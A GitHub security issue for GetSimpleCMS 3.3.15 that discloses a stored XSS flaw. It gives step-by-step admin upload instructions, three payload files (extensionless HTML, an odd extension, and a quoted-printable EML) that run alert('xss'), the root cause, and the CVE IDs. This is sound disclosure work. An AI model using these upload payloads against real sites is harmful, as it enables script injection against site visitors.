Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

GetSimpleCMS allowed to some files that are able to execute HTML #1301

Closed
Hexife opened this issue Nov 14, 2018 · 2 comments
Closed

GetSimpleCMS allowed to some files that are able to execute HTML #1301

Hexife opened this issue Nov 14, 2018 · 2 comments
Labels
Bug SECURITY
Milestone
3.3.16

Comments

@Hexife
Copy link

Hexife commented Nov 14, 2018 •
edited

Brief of this vulnerability
GetSimpleCMS allowed to upload the files that are able to execute HTML files.

There are 3 types of HTML executable files.

Test Environment

  • Apache/2.4.18 (Debian)
  • PHP 5.6.38-2+ubuntu16.04.1+deb.sury.org+1 (cli)

Affect version
3.3.15

Payload

  • move to http://[address]:[port]/[app_path]/admin/upload.php with admin credential

  • Upload prepared malformed files.

  • HTML File with no extension

    • Filename - test
<html><head><title>XSS</title></head><body><script>alert('xss')</script></body></html>
  • HTML File with uncommon extension
    • Filename - test.asdf
<html><head><title>XSS</title></head><body><script>alert('xss')</script></body></html>
  • HTML File encoded as EML
    • Filename - test.eml
TESTEML
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

XSS Test
=3Cscript=3Ealert=281=29=3B=3C=2Fscript=3E

  1. Click the uploaded file name or
    move to http://[address]:[port]/[app_path]/data/uploads/[uploaded file].

  2. Profit!

Reason of This Vulnerability

In admin/upload-uploadify.php , Third parameter of validate_safe_file is not exist.

Function validate_safe_file is in admin/inc/security_functions.php and Third parameter, mime, will be null.

As a result, the file filtering of validate_safe_file depend on extensions. ( Not use MIME Type )

It can allows to upload the three type files that I introduced.
@tablatronix
Copy link
Member

It looks like this was supposed to do mime checking amd was removed or never implemented. Interesting

@Hexife
Copy link
Author

Hexife commented Nov 22, 2018 •
edited

I got the CVE for this vulnerabilities - CVE-2018-19420, CVE-2018-19421.

@tablatronix tablatronix added this to the 3.3.16 milestone May 24, 2019
tablatronix pushed a commit that referenced this issue May 24, 2019
fixes #1301
764abc9
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
Bug SECURITY
Projects
None yet
Milestone
3.3.16
Development

No branches or pull requests
2 participants
@tablatronix @Hexife